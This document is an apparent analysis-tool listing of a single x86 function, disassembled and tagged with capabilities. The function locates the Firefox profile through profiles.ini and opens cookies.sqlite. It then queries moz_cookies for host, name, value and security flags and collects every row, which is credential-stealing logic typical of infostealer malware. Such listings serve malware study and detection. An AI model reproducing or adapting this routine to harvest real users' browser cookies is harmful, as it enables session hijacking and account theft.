Function at 0x40d80a
Capabilities:
Check if file exists
Gather firefox profile information
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 0x20]
push 0x1a
pop edx
call fcn.00414891
push str.MozillaFirefox_
lea ecx, [ebp - 0x20]
call fcn.004034f3
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x30]
call fcn.00403611
push str.profiles.ini
lea ecx, [ebp - 0x30]
call fcn.004034f3
push str.Profile
lea ecx, [ebp - 0x2c]
call fcn.0040346a
xor edi, edi
lea ecx, [ebp - 0x2c]
push edi
call fcn.00403591
push 0x208
lea eax, [ebp - 0x288]
push edi
push eax
call fcn.004012cf
add esp, 0xc
lea eax, [ebp - 0x288]
push dword [ebp - 0x30]
push 0x104
push eax
push edi
push str.Path
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 8]
call fcn.00403611
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 8]
call fcn.004034f3
push str.cookies.sqlite
mov ecx, eax
call fcn.00403551
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40dc71
mov eax, dword [ebx + 0x40]
mov esi, edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0xc], esi
cmp dword [ebp - 8], esi
je 0x40d958
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push eax
push dword [ebp - 8]
push 0x200
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.00406875
mov ecx, dword [ebp - 8]
mov esi, eax
test ecx, ecx
je 0x40d918
push ecx
call edi
mov ecx, dword [ebp - 8]
jmp 0x40d91a
xor eax, eax
push 0
push 0
push dword [ebp - 0x10]
push esi
push eax
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
lea ecx, [ebp - 0x10]
call fcn.004037f9
push eax
lea ecx, [ebp - 0xc]
call fcn.00403881
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
mov ecx, esi
call fcn.004068b7
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x1c]
push ecx
push esi
call eax
pop ecx
pop ecx
mov ecx, esi
mov edi, eax
call fcn.004068b7
test edi, edi
jne 0x40dc6f
mov eax, dword [ebx + 0x44]
lea ecx, [ebp - 4]
push edi
push ecx
push 0xffffffffffffffff
push str.SELECT_host__path__name__value__expiry__isHttpOnly__isSecure_FROM_moz_cookies
push dword [ebp - 0x1c]
call eax
xor esi, esi
add esp, 0x14
inc esi
test eax, eax
jne 0x40dc45
mov ecx, 0x61a5c
call fcn.0040698f
mov ecx, 0x270f
test eax, eax
je 0x40d9c9
lea edx, [eax + 4]
mov dword [eax], ecx
mov eax, edx
mov dword [eax], edi
lea eax, [eax + 0x28]
mov dword [eax - 0x24], edi
mov dword [eax - 0x20], edi
mov dword [eax - 0x1c], edi
sub ecx, 1
jne 0x40d9ae
mov dword [0x420730], edx
jmp 0x40d9cf
mov dword [0x420730], edi
push dword [ebp - 4]
mov eax, dword [ebx + 0x60]
mov dword [0x420734], edi
call eax
pop ecx
cmp eax, 0x64
jne 0x40dc40
mov eax, dword [ebx + 0x4c]
xor esi, esi
push esi
push dword [ebp - 4]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0xc], esi
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40da1f
push eax
lea ecx, [ebp - 0x3c]
call fcn.004037f9
push eax
lea ecx, [ebp - 0x18]
call fcn.00403881
mov ecx, dword [ebp - 0x3c]
call fcn.004068b7
mov eax, dword [ebx + 0x4c]
push 1
push dword [ebp - 4]
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40da4a
push eax
lea ecx, [ebp - 0x40]
call fcn.004037f9
push eax
lea ecx, [ebp - 0x14]
call fcn.00403881
mov ecx, dword [ebp - 0x40]
call fcn.004068b7
mov eax, dword [ebx + 0x4c]
push 2
push dword [ebp - 4]
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40da78
push eax
lea ecx, [ebp - 0x44]
call fcn.004037f9
push eax
lea ecx, [ebp - 0x28]
call fcn.00403881
mov ecx, dword [ebp - 0x44]
call fcn.004068b7
mov edi, dword [ebp - 0x28]
mov eax, dword [ebx + 0x4c]
push 3
push dword [ebp - 4]
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40daa6
push eax
lea ecx, [ebp - 0x48]
call fcn.004037f9
push eax
lea ecx, [ebp - 0xc]
call fcn.00403881
mov ecx, dword [ebp - 0x48]
call fcn.004068b7
mov esi, dword [ebp - 0xc]
mov eax, dword [ebx + 0x54]
push 4
push dword [ebp - 4]
call eax
mov ecx, dword [ebx + 0x50]
push 5
push dword [ebp - 4]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], edx
call ecx
mov ecx, dword [ebx + 0x50]
push 6
push dword [ebp - 4]
mov dword [ebp - 0x54], eax
call ecx
add esp, 0x18
mov dword [ebp - 0x58], eax
test edi, edi
je 0x40dae2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jg 0x40daf9
test esi, esi
je 0x40dc0a
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40dc0a
mov eax, dword [ebp - 0x18]
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
test eax, eax
je 0x40db33
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40db33
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x18]
call fcn.004038f5
push eax
lea ecx, [ebp - 0x80]
call fcn.004035de
mov ecx, dword [ebp - 0x34]
call fcn.004068b7
and dword [ebp - 0x34], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40db66
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40db66
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x14]
call fcn.004038f5
push eax
lea ecx, [ebp - 0x7c]
call fcn.004035de
mov ecx, dword [ebp - 0x38]
call fcn.004068b7
and dword [ebp - 0x38], 0
test edi, edi
je 0x40db96
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40db96
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x28]
call fcn.004038f5
push eax
lea ecx, [ebp - 0x78]
call fcn.004035de
mov ecx, dword [ebp - 0x24]
call fcn.004068b7
and dword [ebp - 0x24], 0
test esi, esi
je 0x40dbc6
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40dbc6
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xc]
call fcn.004038f5
push eax
lea ecx, [ebp - 0x74]
call fcn.004035de
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x60], eax
mov eax, dword [0x420734]
cmp eax, 0x270f
je 0x40dc02
lea ecx, [ebp - 0x80]
push ecx
imul ecx, eax, 0x28
add ecx, dword [0x420730]
call fcn.0040cd2b
inc dword [0x420734]
lea ecx, [ebp - 0x80]
call fcn.00402900
mov ecx, esi
call fcn.004068b7
mov ecx, edi
call fcn.004068b7
mov ecx, dword [ebp - 0x14]
call fcn.004068b7
mov ecx, dword [ebp - 0x18]
call fcn.004068b7
push dword [ebp - 4]
mov eax, dword [ebx + 0x60]
call eax
pop ecx
push 0
pop edi
cmp eax, 0x64
je 0x40d9e7
xor esi, esi
inc esi
cmp eax, 0x65
jne 0x40dc58
push dword [ebp - 4]
call dword [ebx + 0x7c]
push dword [ebp - 0x1c]
call dword [0x420944]
pop ecx
pop ecx
jmp 0x40dc73
test eax, eax
je 0x40dc45
push dword [ebp - 4]
call dword [ebx + 0x7c]
push dword [ebp - 0x1c]
call dword [0x420944]
pop ecx
pop ecx
jmp 0x40dc71
xor edi, edi
mov esi, edi
mov ecx, dword [ebp - 8]
call fcn.004068b7
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 8], edi
call fcn.004068b7
mov ecx, dword [ebp - 0x30]
call fcn.004068b7
mov ecx, dword [ebp - 0x20]
call fcn.004068b7
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret